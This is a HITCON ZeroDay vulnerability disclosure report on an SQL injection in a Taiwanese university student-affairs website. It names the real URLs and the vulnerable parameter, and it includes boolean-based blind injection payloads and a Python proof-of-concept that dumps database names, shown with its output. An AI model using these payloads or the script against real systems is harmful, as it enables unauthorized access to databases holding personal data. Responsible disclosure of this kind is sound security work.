中央大學學務處網站存在SQL injection漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-00894
  •  發信 Vendor: 國立中央大學
  • Title: 中央大學學務處網站存在SQL injection漏洞
  • Introduction: SQL injection

處理狀態

目前狀態

公開
Last Update : 2020/12/18
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2020/10/18 14:45:02 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2020/10/18 15:28:23 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2020/10/18 23:13:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/10/19 12:33:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/10/19 12:33:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/10/19 12:33:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/12/18 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://osa.ncu.edu.tw/results.php
http://osa.ncu.edu.tw/searchdownload.php

敘述

同學說有洞,結果一找還真的有
搜尋功能的keywords參數存在sql injection漏洞
boolean-based payloads:
'and(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>0)and'%'='
顯示搜尋結果
'and(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),99,1))>0)and'%'='
不顯示搜尋結果

以下poc是把database名稱dump出來,證明存在漏洞,證明內部資料可透過相同手法取出(本人無嘗試)
res1和2可自行以相同邏輯更換

python POC:


import requests
import time

main_session = requests.session()
target_url1 = 'http://osa.ncu.edu.tw/results.php'
target_url2 = 'http://osa.ncu.edu.tw/searchdownload.php'
post_data1 = {"event_category_no": "10",
"keywords": "'and(substring(version(),3,1)='9')and'%'='",
"search": "search_new"
}
post_data2 = {"button": "搜尋",
"download_type_no": "2",
"keywords": "'and(substring(version(),3,1)='9')and'%'='"}

main_res1 = main_session.post(target_url1, data=post_data1)
main_res2 = main_session.post(target_url2, data=post_data2)

database_len_payload = "'and(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{test_len},1))>{test_char})and'%'='"

dump_finish = False
dump_str = ''

for payload_len in range(1, 3000):
for payload_char in range(32, 126):
post_data1['keywords'] = database_len_payload.format(test_char="0", test_len=str(payload_len))
main_res1 = main_session.post(target_url1, data=post_data1)

print(main_res1.text,post_data1['keywords'])

    if not ("本校因應新型冠狀病毒肺炎疫情--學生請假說明" in main_res1.text):
        print("dump finished")
        dump_finish = True
        break

    post_data1['keywords'] = database_len_payload.format(test_char=str(payload_char), test_len=str(payload_len))
    main_res1 = main_session.post(target_url1, data=post_data1)
    print('now test:', chr(payload_char))

    if not "本校因應新型冠狀病毒肺炎疫情--學生請假說明" in main_res1.text:
        print('string found:', chr(payload_char))
        dump_str = dump_str + chr(payload_char)
        if chr(payload_char) == ',':
            dump_str += '\n'
        break

print("available database:\n", dump_str)
time.sleep(3)
if dump_finish:
    break

available database[3]:
information_schema,
newosa,
test

資料庫user權限不大,但仍建議修補
測試過程僅證明存在漏洞,點到為止,未繼續進行任何進一步的攻擊
有任何問題請立刻與聯繫我!!!

修補建議

過濾參數

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;